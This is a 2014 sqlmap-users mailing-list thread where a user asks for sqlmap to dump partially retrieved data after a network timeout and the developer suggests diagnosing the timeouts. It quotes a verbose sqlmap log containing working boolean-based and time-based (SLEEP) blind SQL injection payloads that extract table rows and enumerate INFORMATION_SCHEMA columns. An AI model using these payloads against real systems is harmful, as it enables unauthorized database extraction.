Re: [sqlmap-users] dump data after timeout condition
Brought to you by:
inquisb
Menu
▾
▴
Re: [sqlmap-users] dump data after timeout condition
|
From: Miroslav S. <mir...@gm...> - 2014-07-16 06:21:10
|
IMO, problem with immediate table dump after a timeout could be that the average user would falsely think that everything went ok. I would really suggest you to find out why all of a sudden the are timeouts. Bye On Jul 15, 2014 12:42 PM, "Dirk Wetter" <sp...@dr...> wrote: > Hi Miroslav, > > Am 07/14/2014 08:56 PM, schrieb Miroslav Stampar: > > Hi Dirk. > > sqlmap doesn't retrieve already retrieved data. It stores them into the > local session data for later (re)usage. > > > I thought so too. But when for some reason the network times out or any > other special circumstances occur > it would be great if sqlmap would just dump immediately what it retrieved > so far. I started it again afterwards, > hoping after ^C it would dump the whole data then but it dumped 1-2 lines > only. > > > "boolean-based blind vulnerability and I tried to retrieve a few tables > with big chunks of data" -> I would expect your problem in union SQLI, but > not boolean-based blind. > > > nope, definitely it's a boolean based blind and at the same time (same > variable) a time-based blind vulnerability I am exploiting. > During this run I left sqlmap the choice which one to exploit. Previously > I thought I restricted it to use > --technique=B . > > > Please make sure that: > 1) you are running the latest revision from our Github repository > > > check (ok, from last week) > > 2) that target is not having some kind of WAF protection mechanism that > does the hard drop of requests > > > check (definitely network issue). But I didn't run wireshark or so, so I > can't tell whether a TCP RST was sent > from a party in between. > > > As said, I don't see a reason why would sqlmap fail here. It would be > great if you could isolate "problematic" payload with usage of -v 3 and try > it inside the browser (to see what's happening) > > > Miroslav, I can only report what I observed :-) Data retrieval on this > special table was running for ~3 days. > I retrieved numerous other tables the week before (exactly the same > vulnerability) and I am really certain the > original cause of the hiccup was just a network outage. > > The last famous words before bail out were: > > [09:54:15] [INFO] retrieving the length of query output > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>51 AND (7548=7548 > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>48 AND (7548=7548 > [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id > LIMIT 21,1),1,1))>1 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),1,1))>47 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id > LIMIT 21,1),2,1))>51 AND (7548=7548 > [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),2,1))>48 AND (7548=7548 > [09:54:17] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY > id LIMIT 21,1),2,1))>1 AND (7548=7548 > [09:54:17] [INFO] retrieved: 0 > [09:54:17] [DEBUG] performed 7 queries in 2.11 seconds > [09:54:17] [DEBUG] performed 0 queries in 2.12 seconds > [09:54:17] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> > AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT > 21,1),1,1))>64),SLEEP(5),6853) AND (5650=5650 > [09:54:19] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row> > AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT > 21,1),1,1))>32),SLEEP(5),6853) AND (5650=5650 > [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:22] [INFO] fetching columns for table <table> in database <db> > [09:54:22] [PAYLOAD] 2885) AND ORD(MID((SELECT > IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM > INFORMATION_SCHEMA.COLUMNS WHERE table_name=<hexstr1> AND > table_schema=<hexstr2>),1,1))>51 AND (1291=1291 > [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap > is going to retry the request > [09:54:25] [CRITICAL] unable to connect to the target URL or proxy > [09:54:25] [WARNING] HTTP error codes detected during run: > > 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times > > [*] shutting down at 09:54:25 > > > I won't be able to reproduce it, sorry. ;-/ My point is a feature request: > if an error condition occurs, sqlmap > should better dump immediately the data it already retrieved, in csv > format. > > > Cheers, > > Dirk > > PS: I didn't modify any timeout or retry values, so normally I would > expect sqlmap at least 3x30 seconds before bail out, correct? > > > |
